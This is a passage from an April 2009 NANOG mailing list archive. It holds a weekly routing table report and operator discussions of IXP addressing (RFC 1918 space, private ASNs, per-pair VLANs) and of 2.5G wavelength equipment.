216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From me at sharloncarty.net Fri Apr 17 09:11:30 2009 From: me at sharloncarty.net (Sharlon R. Carty) Date: Fri, 17 Apr 2009 10:11:30 -0400 Subject: IXP Message-ID: Hello NANOG, I like would to know what are best practices for an internet exchange. I have some concerns about the following; Can the IXP members use RFC 1918 ip addresses for their peering? Can the IXP members use private autonomous numbers for their peering? Maybe the answer is obviuos, but I like to know from any IXP admins what their setup/experiences have been. -- --sharlon From bmanning at vacation.karoshi.com Fri Apr 17 09:18:12 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Fri, 17 Apr 2009 14:18:12 +0000 Subject: IXP In-Reply-To: References: Message-ID: <20090417141812.GA27028@vacation.karoshi.com.> On Fri, Apr 17, 2009 at 10:11:30AM -0400, Sharlon R. Carty wrote: > Hello NANOG, > > I like would to know what are best practices for an internet exchange. I > have some concerns about the following; > Can the IXP members use RFC 1918 ip addresses for their peering? > Can the IXP members use private autonomous numbers for their peering? > > Maybe the answer is obviuos, but I like to know from any IXP admins what > their setup/experiences have been. > > -- > --sharlon 15 years into the exchange trade has given me the following insights: RFC1918 space can be used - but virtually everyone who starts there migrates to globally unique space. Private ASNs - same deal. Private ASNs tend to have special treatment inside ISPs - so path matching gets you in the end. --bill From elmi at 4ever.de Fri Apr 17 09:21:28 2009 From: elmi at 4ever.de (Elmar K. Bins) Date: Fri, 17 Apr 2009 16:21:28 +0200 Subject: IXP In-Reply-To: References: Message-ID: <20090417142128.GM29526@ronin.4ever.de> me at sharloncarty.net (Sharlon R. Carty) wrote: > I like would to know what are best practices for an internet exchange. I > have some concerns about the following; > Can the IXP members use RFC 1918 ip addresses for their peering? No. Those IP addresses will at least appear on traceroutes; also, it might not be such a good idea to use the same RFC1918 space (accidentally) on different IXPs. This will get your skin crawling (thing IGP, or at least config databases)... IXPs can usually get a v4 and a v6 block for their peering grid easily. > Can the IXP members use private autonomous numbers for their peering? They could, but what would you then do with them inside your IGP? And apart from that - ISPs that want to peer tend to have their ASNs ready... I am not an IXP operator, but I know of no exchange (public or private, big or closet-style) that uses private ASNs or RFC1918 space. Elmar. From jgreco at ns.sol.net Fri Apr 17 09:24:20 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Fri, 17 Apr 2009 09:24:20 -0500 (CDT) Subject: IXP In-Reply-To: from "Sharlon R. Carty" at Apr 17, 2009 10:11:30 AM Message-ID: <200904171424.n3HEOKIg052305@aurora.sol.net> > Hello NANOG, > > I like would to know what are best practices for an internet exchange. I > have some concerns about the following; > Can the IXP members use RFC 1918 ip addresses for their peering? > Can the IXP members use private autonomous numbers for their peering? > > Maybe the answer is obviuos, but I like to know from any IXP admins what > their setup/experiences have been. If you read RFC1918, the intention is to use that space within an enterprise. There is some wisdom there. It is unclear why you would want to do this, as the ARIN/etc allocation rules for an IXP are generally trivial. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From r.hyunseog at ieee.org Fri Apr 17 10:13:03 2009 From: r.hyunseog at ieee.org (Alex H. Ryu) Date: Fri, 17 Apr 2009 10:13:03 -0500 Subject: IXP In-Reply-To: References: Message-ID: <49E89C7F.3020908@ieee.org> Theorically it's doable. But mostly No to your questions. IXP means Internet eXchange Point. So it is public Internet. Why do you want to use private IP address ? Most RIR allocate /24 unit for IXP. For troubleshooting purpose, it is better to use public IP address as it is designed. Unless you want to have MPLS/VPN only connections, and use private IP Addr/ASN between them. Sharlon R. Carty wrote: > Hello NANOG, > > I like would to know what are best practices for an internet exchange. I > have some concerns about the following; > Can the IXP members use RFC 1918 ip addresses for their peering? > Can the IXP members use private autonomous numbers for their peering? > > Maybe the answer is obviuos, but I like to know from any IXP admins what > their setup/experiences have been. > > From khunt at huntbrothers.com Fri Apr 17 11:27:38 2009 From: khunt at huntbrothers.com (Kevin Hunt) Date: Fri, 17 Apr 2009 11:27:38 -0500 Subject: So I've got this 2.5gig wave, what do I do with it? In-Reply-To: <20090416233402.GB26153@loopfree.net> Message-ID: On 4/16/09 6:34 PM, "will at loopfree.net" wrote: > Due to the vagaries of telecom pricing, I've ended up with a 2.5gig > wavelength service between two locations when what I really wanted was a > gig-e or two. > > I'm really not sure if this is a "transparent" wave service or not... > the carrier is using gear from Ciena to hand it off to us and they seem > to be big on transparent waves, so maybe it is, but nobody seems to be > able to say for sure. We use these types of circuits and I manage several others for clients. Every time I turn one up I make sure I talk to an engineer and ask if they are expecting a 2.5Gig signal and just going to use transponders to put my 1310nm signal into a DWDM color send it to the other side, and transponder it back to 1310nm. They've always said that's exactly what they are doing. I used Cerent 15454 (now Cisco) w/ Oc48 IR 1310 cards facing the wave, and proper cross connect and Gig cards (carefull here) facing my gig switches. Shoot me an off list message and I'll help you w/ the ins and outs and share the costs we budget for such. I haven't used MRV but they look appealing, would love to hear other folks experience with them as I'm about to have to turn another two of these up... -- W. Kevin Hunt CCIE #11841 From cscora at apnic.net Fri Apr 17 13:12:29 2009 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 18 Apr 2009 04:12:29 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200904171812.n3HICT3O016838@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 18 Apr, 2009 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 285512 Prefixes after maximum aggregation: 135036 Deaggregation factor: 2.11 Unique aggregates announced to Internet: 140735 Total ASes present in the Internet Routing Table: 30995 Prefixes per ASN: 9.21 Origin-only ASes present in the Internet Routing Table: 26993 Origin ASes announcing only one prefix: 13113 Transit ASes present in the Internet Routing Table: 4002 Transit-only ASes present in the Internet Routing Table: 96 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 33 Max AS path prepend of ASN (43683) 31 Prefixes from unregistered ASNs in the Routing Table: 457 Unregistered ASNs in the Routing Table: 153 Number of 32-bit ASNs allocated by the RIRs: 140 Prefixes from 32-bit ASNs in the Routing Table: 22 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 213 Number of addresses announced to Internet: 2032726080 Equivalent to 121 /8s, 40 /16s and 240 /24s Percentage of available address space announced: 54.8 Percentage of allocated address space announced: 64.1 Percentage of available address space allocated: 85.5 Percentage of address space in use by end-sites: 76.4 Total number of prefixes smaller than registry allocations: 140850 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 66222 Total APNIC prefixes after maximum aggregation: 23572 APNIC Deaggregation factor: 2.81 Prefixes being announced from the APNIC address blocks: 62977 Unique aggregates announced from the APNIC address blocks: 28795 APNIC Region origin ASes present in the Internet Routing Table: 3598 APNIC Prefixes per ASN: 17.50 APNIC Region origin ASes announcing only one prefix: 966 APNIC Region transit ASes present in the Internet Routing Table: 545 Average APNIC Region AS path length visible: 3.6 Max APNIC Region AS path length visible: 18 Number of APNIC addresses announced to Internet: 410974496 Equivalent to 24 /8s, 126 /16s and 249 /24s Percentage of available APNIC address space announced: 81.7 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 124873 Total ARIN prefixes after maximum aggregation: 65846 ARIN Deaggregation factor: 1.90 Prefixes being announced from the ARIN address blocks: 94104 Unique aggregates announced from the ARIN address blocks: 36841 ARIN Region origin ASes present in the Internet Routing Table: 12932 ARIN Prefixes per ASN: 7.28 ARIN Region origin ASes announcing only one prefix: 4994 ARIN Region transit ASes present in the Internet Routing Table: 1253 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 20 Number of ARIN addresses announced to Internet: 426730496 Equivalent to 25 /8s, 111 /16s and 100 /24s Percentage of available ARIN address space announced: 82.0 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 108/8, 173/8, 174/8, 184/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 65460 Total RIPE prefixes after maximum aggregation: 38031 RIPE Deaggregation factor: 1.72 Prefixes being announced from the RIPE address blocks: 59789 Unique aggregates announced from the RIPE address blocks: 39893 RIPE Region origin ASes present in the Internet Routing Table: 12842 RIPE Prefixes per ASN: 4.66 RIPE Region origin ASes announcing only one prefix: 6717 RIPE Region transit ASes present in the Internet Routing Table: 1917 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 33 Number of RIPE addresses announced to Internet: 392815392 Equivalent to 23 /8s, 105 /16s and 227 /24s Percentage of available RIPE address space announced: 83.6 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 178/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 23655 Total LACNIC prefixes after maximum aggregation: 5842 LACNIC Deaggregation factor: 4.05 Prefixes being announced from the LACNIC address blocks: 21807 Unique aggregates announced from the LACNIC address blocks: 11984 LACNIC Region origin ASes present in the Internet Routing Table: 1093 LACNIC Prefixes per ASN: 19.95 LACNIC Region origin ASes announcing only one prefix: 348 LACNIC Region transit ASes present in the Internet Routing Table: 182 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 28 Number of LACNIC addresses announced to Internet: 62475520 Equivalent to 3 /8s, 185 /16s and 77 /24s Percentage of available LACNIC address space announced: 62.1 LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247 plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4879 Total AfriNIC prefixes after maximum aggregation: 1403 AfriNIC Deaggregation factor: 3.48 Prefixes being announced from the AfriNIC address blocks: 4565 Unique aggregates announced from the AfriNIC address blocks: 1365 AfriNIC Region origin ASes present in the Internet Routing Table: 292 AfriNIC Prefixes per ASN: 15.63 AfriNIC Region origin ASes announcing only one prefix: 88 AfriNIC Region transit ASes present in the Internet Routing Table: 58 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 15 Number of AfriNIC addresses announced to Internet: 10237184 Equivalent to 0 /8s, 156 /16s and 53 /24s Percentage of available AfriNIC address space announced: 30.5 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4766 1692 6929 396 Korea Telecom (KIX) 17488 1536 123 97 Hathway IP Over Cable Interne 4755 1181 405 177 TATA Communications formerly 9583 1090 87 539 Sify Limited 4134 894 16580 371 CHINANET-BACKBONE 7545 784 164 106 TPG Internet Pty Ltd 18101 755 217 31 Reliance Infocom Ltd Internet 24560 682 228 174 Bharti Airtel Ltd. 9498 671 296 50 BHARTI BT INTERNET LTD. 9829 640 495 21 BSNL National Internet Backbo Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4303 3669 345 bellsouth.net, inc. 209 2646 4150 621 Qwest 4323 1834 1049 374 Time Warner Telecom 1785 1746 717 139 PaeTec Communications, Inc. 20115 1613 1430 720 Charter Communications 7018 1476 5896 1016 AT&T WorldNet Services 6478 1361 305 468 AT&T Worldnet Services 2386 1247 681 896 AT&T Data Communications Serv 3356 1191 10980 453 Level 3 Communications, LLC 11492 1172 192 11 Cable One Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8452 1252 188 7 TEDATA 30890 538 88 200 SC Kappa Invexim SRL 3292 451 1764 389 TDC Tele Danmark 12479 405 578 6 Uni2 Autonomous System 3320 343 7081 294 Deutsche Telekom AG 3215 340 3025 108 France Telecom Transpac 3301 339 1669 305 TeliaNet Sweden 8866 336 109 21 Bulgarian Telecommunication C 29049 321 26 3 AzerSat LLC. 35805 319 24 4 United Telecom of Georgia Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1444 2848 231 UniNet S.A. de C.V. 10620 859 194 101 TVCABLE BOGOTA 22047 611 302 14 VTR PUNTO NET S.A. 7303 525 270 74 Telecom Argentina Stet-France 11830 516 294 34 Instituto Costarricense de El 16814 461 31 10 NSS, S.A. 6471 442 96 31 ENTEL CHILE S.A. 11172 414 102 72 Servicios Alestra S.A de C.V 28573 404 528 27 NET Servicos de Comunicao S.A 7738 397 794 28 Telecomunicacoes da Bahia S.A Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 855 78 35 LINKdotNET AS number 20858 297 34 4 This AS will be used to conne 3741 277 860 237 The Internet Solution 2018 243 215 143 Tertiary Education Network 6713 159 150 15 Itissalat Al-MAGHRIB 33783 151 10 8 EEPAD TISP TELECOM & INTERNET 29571 138 15 9 Ci Telecom Autonomous system 5536 123 8 9 Internet Egypt Network 33776 117 6 3 Starcomms Nigeria Limited 5713 115 507 66 Telkom SA Ltd Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4303 3669 345 bellsouth.net, inc. 209 2646 4150 621 Qwest 4323 1834 1049 374 Time Warner Telecom 1785 1746 717 139 PaeTec Communications, Inc. 4766 1692 6929 396 Korea Telecom (KIX) 20115 1613 1430 720 Charter Communications 17488 1536 123 97 Hathway IP Over Cable Interne 7018 1476 5896 1016 AT&T WorldNet Services 8151 1444 2848 231 UniNet S.A. de C.V. 6478 1361 305 468 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 209 2646 2025 Qwest 1785 1746 1607 PaeTec Communications, Inc. 4323 1834 1460 Time Warner Telecom 17488 1536 1439 Hathway IP Over Cable Interne 4766 1692 1296 Korea Telecom (KIX) 8452 1252 1245 TEDATA 8151 1444 1213 UniNet S.A. de C.V. 11492 1172 1161 Cable One 18566 1060 1050 Covad Communications 4755 1181 1004 TATA Communications formerly Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.154.0/23 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.159.0/24 7018 AT&T WorldNet Servic 32326 UNALLOCATED 12.40.49.0/24 7018 AT&T WorldNet Servic 25639 UNALLOCATED 12.41.169.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.55.64.0/19 36423 San Juan Cable, LLC 24.75.116.0/22 10796 ServiceCo LLC - Road Runner 24.246.0.0/17 7018 AT&T WorldNet Services 24.246.128.0/18 7018 AT&T WorldNet Services 41.220.16.0/20 8668 TelOne Zimbabwe P/L 41.223.112.0/22 5713 Telkom SA Ltd 41.223.188.0/24 22351 Intelsat 41.223.189.0/24 26452 Local Communications Networks 62.61.220.0/24 24974 Tachyon Europe BV - Wireless 62.61.221.0/24 24974 Tachyon Europe BV - Wireless Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:19 /9:10 /10:20 /11:58 /12:165 /13:335 /14:592 /15:1146 /16:10413 /17:4686 /18:7985 /19:17011 /20:20268 /21:20061 /22:25644 /23:25322 /24:149670 /25:718 /26:868 /27:347 /28:119 /29:37 /30:10 /31:0 /32:8 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2804 4303 bellsouth.net, inc. 4766 1394 1692 Korea Telecom (KIX) 209 1351 2646 Qwest 17488 1304 1536 Hathway IP Over Cable Interne 8452 1231 1252 TEDATA 1785 1154 1746 PaeTec Communications, Inc. 11492 1116 1172 Cable One 18566 1041 1060 Covad Communications 4323 956 1834 Time Warner Telecom 2386 947 1247 AT&T Data Communications Serv Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:13 8:192 12:2213 13:3 15:19 16:3 17:4 20:35 24:1076 32:51 38:526 40:97 41:2001 43:1 44:2 47:22 52:3 55:2 56:3 57:25 58:573 59:613 60:459 61:1108 62:1091 63:2024 64:3661 65:2400 66:3590 67:1511 68:715 69:2563 70:531 71:134 72:1647 73:2 74:1487 75:168 76:318 77:841 78:552 79:314 80:971 81:807 82:544 83:415 84:606 85:1030 86:390 87:633 88:358 89:1449 90:44 91:2126 92:341 93:1115 94:1187 95:1026 96:108 97:188 98:470 99:17 109:1 110:58 112:101 113:97 114:217 115:227 116:1156 117:498 118:287 119:670 120:150 121:708 122:1004 123:673 124:960 125:1307 128:224 129:227 130:128 131:416 132:73 133:9 134:184 135:214 136:242 137:149 138:148 139:79 140:425 141:105 142:392 143:330 144:332 145:45 146:372 147:151 148:520 149:237 150:149 151:199 152:151 153:138 154:2 155:271 156:170 157:300 158:127 159:301 160:282 161:134 162:273 163:149 164:481 165:532 166:268 167:363 168:693 169:161 170:473 171:38 172:10 173:270 174:176 178:1 186:8 187:78 188:13 189:334 190:2664 192:5805 193:4216 194:3303 195:2640 196:1068 198:3738 199:3312 200:5428 201:1332 202:7857 203:8161 204:3802 205:2152 206:2415 207:2808 208:3900 209:3389 210:2648 211:1101 212:1517 213:1689 214:71 215:30 216:4554 217:1254 218:361 219:425 220:1207 221:453 222:291 End of report From ip at ioshints.info Fri Apr 17 13:39:17 2009 From: ip at ioshints.info (Ivan Pepelnjak) Date: Fri, 17 Apr 2009 20:39:17 +0200 Subject: IXP In-Reply-To: <20090417142128.GM29526@ronin.4ever.de> References: <20090417142128.GM29526@ronin.4ever.de> Message-ID: <000a01c9bf8b$d1ea4380$0a00000a@nil.si> > > I like would to know what are best practices for an > internet exchange. > > I have some concerns about the following; Can the IXP > members use RFC > > 1918 ip addresses for their peering? > > No. Those IP addresses will at least appear on traceroutes; > also, it might not be such a good idea to use the same RFC1918 space > (accidentally) on different IXPs. This will get your skin > crawling (thing IGP, or at least config databases)... IXPs > can usually get a v4 and a v6 block for their peering grid easily. Anyone with a decently configured firewall would block IP packets with source address from RFC1918 coming from the Internet. Your IXP would appear as a black hole in traceroute printout because the ICMP replies sent from the IXP IP addresses would be blocked. A while ago I've described a few more caveats in an article (see http://blog.ioshints.info/2008/08/private-ip-addresses-in-public-networks.ht ml). Ivan http://www.ioshints.info/about http://blog.ioshints.info/ From eric at atlantech.net Fri Apr 17 13:43:58 2009 From: eric at atlantech.net (Eric Van Tol) Date: Fri, 17 Apr 2009 14:43:58 -0400 Subject: So I've got this 2.5gig wave, what do I do with it? In-Reply-To: References: <20090416233402.GB26153@loopfree.net> Message-ID: <2C05E949E19A9146AF7BDF9D44085B863527941260@exchange.aoihq.local> > -----Original Message----- > From: Kevin Hunt [mailto:khunt at huntbrothers.com] > Sent: Friday, April 17, 2009 12:28 PM > To: will at loopfree.net; nanog at nanog.org > Subject: Re: So I've got this 2.5gig wave, what do I do with it? > > I haven't used MRV but they look appealing, would love to hear other folks > experience with them as I'm about to have to turn another two of these > up... > > -- We use the MRV LamdaDrivers and they work well. We use the EM2009-G2 on our own dark fiber loops and provide dual GE connectivity on a single 2.5G wavelength. Equipment is pretty barebones, but quite solid. Management module can be rebooted without loss of light on any interfaces (besides those terminated on the management module, of course). There's plenty of options for SFPs wrt distances. However, since the OP is receiving a lit signal from the carrier, I'm not entirely sure it will work in his case, as I *believe* the trunk port requires a WDM SFP, not a standard 850/1310/1550. I could certainly be wrong, though. -evt From vixie at isc.org Fri Apr 17 13:52:01 2009 From: vixie at isc.org (Paul Vixie) Date: Fri, 17 Apr 2009 18:52:01 +0000 Subject: IXP In-Reply-To: <000a01c9bf8b$d1ea4380$0a00000a@nil.si> (Ivan Pepelnjak's message of "Fri\, 17 Apr 2009 20\:39\:17 +0200") References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> Message-ID: with the advent of vlan tags, the whole idea of CSMA for IXP networks is passe. just put each pair of peers into their own private tagged vlan and let one of them allocate a V4 /30 and a V6 /64 for it. as a bonus, this prevents third party BGP (which nobody really liked which sometimes got turned on by mistake) and prevents transit dumping and/or "pointing default at" someone. the IXP no longer needs any address space, they're just a VPN provider. shared-switch connections are just virtual crossconnects. -- Paul Vixie From woody at pch.net Fri Apr 17 13:54:50 2009 From: woody at pch.net (Bill Woodcock) Date: Fri, 17 Apr 2009 11:54:50 -0700 (PDT) Subject: IXP In-Reply-To: References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> Message-ID: On Fri, 17 Apr 2009, Paul Vixie wrote: > with the advent of vlan tags, the whole idea of CSMA for IXP networks is passe. > just put each pair of peers into their own private tagged vlan. Uh, I'm not sure whether you're being sarcastic or not. -Bill From arnold at nipper.de Fri Apr 17 14:00:53 2009 From: arnold at nipper.de (Arnold Nipper) Date: Fri, 17 Apr 2009 21:00:53 +0200 Subject: IXP In-Reply-To: References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> Message-ID: <49E8D1E5.1070004@nipper.de> On 17.04.2009 20:52 Paul Vixie wrote > with the advent of vlan tags, the whole idea of CSMA for IXP networks is passe. > just put each pair of peers into their own private tagged vlan and let one of > them allocate a V4 /30 and a V6 /64 for it. as a bonus, this prevents third > party BGP (which nobody really liked which sometimes got turned on by mistake) > and prevents transit dumping and/or "pointing default at" someone. the IXP no > longer needs any address space, they're just a VPN provider. shared-switch > connections are just virtual crossconnects. Large IXP have >300 customers. You would need up to 45k vlan tags, wouldn't you? Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From eric at atlantech.net Fri Apr 17 14:02:29 2009 From: eric at atlantech.net (Eric Van Tol) Date: Fri, 17 Apr 2009 15:02:29 -0400 Subject: So I've got this 2.5gig wave, what do I do with it? In-Reply-To: <2C05E949E19A9146AF7BDF9D44085B863527941260@exchange.aoihq.local> References: <20090416233402.GB26153@loopfree.net> <2C05E949E19A9146AF7BDF9D44085B863527941260@exchange.aoihq.local> Message-ID: <2C05E949E19A9146AF7BDF9D44085B863527941261@exchange.aoihq.local> > -----Original Message----- > From: Eric Van Tol [mailto:eric at atlantech.net] > Sent: Friday, April 17, 2009 2:44 PM > To: nanog at nanog.org > Subject: RE: So I've got this 2.5gig wave, what do I do with it? > > > -----Original Message----- > > From: Kevin Hunt [mailto:khunt at huntbrothers.com] > > Sent: Friday, April 17, 2009 12:28 PM > > To: will at loopfree.net; nanog at nanog.org > > Subject: Re: So I've got this 2.5gig wave, what do I do with it? > > > > > I haven't used MRV but they look appealing, would love to hear other > folks > > experience with them as I'm about to have to turn another two of these > > up... > > > > -- > > We use the MRV LamdaDrivers and they work well. We use the EM2009-G2 on > our own dark fiber loops and provide dual GE connectivity on a single 2.5G > wavelength. Equipment is pretty barebones, but quite solid. Management > module can be rebooted without loss of light on any interfaces (besides > those terminated on the management module, of course). There's plenty of > options for SFPs wrt distances. However, since the OP is receiving a lit > signal from the carrier, I'm not entirely sure it will work in his case, > as I *believe* the trunk port requires a WDM SFP, not a standard > 850/1310/1550. I could certainly be wrong, though. > > -evt Sorry to respond to my own post, but I was getting the EM2009-GM2 mixed up with another module we use. We do use the EM2009-GM2, but it does not have an SFP trunk port - it's just a pair of SC connectors on the trunk side. Looks like it can be configured for a specific wavelength by the setting of some jumpers on the module, and it looks like 1310 is possible. -evt From kris.foster at gmail.com Fri Apr 17 14:04:24 2009 From: kris.foster at gmail.com (kris foster) Date: Fri, 17 Apr 2009 12:04:24 -0700 Subject: IXP In-Reply-To: <49E8D1E5.1070004@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> Message-ID: <40ABC7D3-27AF-4028-8412-024A56E20DE7@gmail.com> On Apr 17, 2009, at 12:00 PM, Arnold Nipper wrote: > On 17.04.2009 20:52 Paul Vixie wrote > >> with the advent of vlan tags, the whole idea of CSMA for IXP >> networks is passe. >> just put each pair of peers into their own private tagged vlan and >> let one of >> them allocate a V4 /30 and a V6 /64 for it. as a bonus, this >> prevents third >> party BGP (which nobody really liked which sometimes got turned on >> by mistake) >> and prevents transit dumping and/or "pointing default at" someone. >> the IXP no >> longer needs any address space, they're just a VPN provider. >> shared-switch >> connections are just virtual crossconnects. > > Large IXP have >300 customers. You would need up to 45k vlan tags, > wouldn't you? QinQ could solve this Kris From arnold at nipper.de Fri Apr 17 14:05:14 2009 From: arnold at nipper.de (Arnold Nipper) Date: Fri, 17 Apr 2009 21:05:14 +0200 Subject: IXP In-Reply-To: <40ABC7D3-27AF-4028-8412-024A56E20DE7@gmail.com> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <40ABC7D3-27AF-4028-8412-024A56E20DE7@gmail.com> Message-ID: <49E8D2EA.4080308@nipper.de> On 17.04.2009 21:04 kris foster wrote > On Apr 17, 2009, at 12:00 PM, Arnold Nipper wrote: > >> On 17.04.2009 20:52 Paul Vixie wrote >> >>> with the advent of vlan tags, the whole idea of CSMA for IXP >>> networks is passe. >>> just put each pair of peers into their own private tagged vlan and >>> let one of >>> them allocate a V4 /30 and a V6 /64 for it. as a bonus, this >>> prevents third >>> party BGP (which nobody really liked which sometimes got turned on >>> by mistake) >>> and prevents transit dumping and/or "pointing default at" someone. >>> the IXP no >>> longer needs any address space, they're just a VPN provider. >>> shared-switch >>> connections are just virtual crossconnects. >> >> Large IXP have >300 customers. You would need up to 45k vlan tags, >> wouldn't you? > > QinQ could solve this > not really -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From woody at pch.net Fri Apr 17 14:05:49 2009 From: woody at pch.net (Bill Woodcock) Date: Fri, 17 Apr 2009 12:05:49 -0700 Subject: IXP In-Reply-To: References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> Message-ID: <109F2288-40B2-4DD0-BFE3-629F832A17D0@pch.net> Sorry, hit "send" a little early, by 